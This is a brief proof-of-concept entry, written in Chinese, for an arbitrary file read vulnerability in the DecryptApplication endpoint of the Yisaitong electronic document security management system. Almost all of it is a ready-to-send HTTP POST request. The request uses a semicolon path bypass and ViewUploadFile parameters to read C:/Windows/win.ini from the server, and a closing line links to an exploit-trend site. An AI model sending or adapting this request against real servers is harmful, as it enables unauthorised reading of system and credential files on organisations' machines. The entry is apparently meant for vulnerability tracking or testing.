Description
亿赛通电子文档安全管理系统DecryptApplication 任意文件读取漏洞，可读取服务器任意文件。
亿赛通电子文档安全管理系统 DecryptApplication 任意文件读取漏洞
PoC
POST /CDGServer3/client/DecryptApplication;Servicelogin HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
command=ViewUploadFile&filePath=C:/Windows/win.ini&fileName1=1.png&uploadFileId=1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.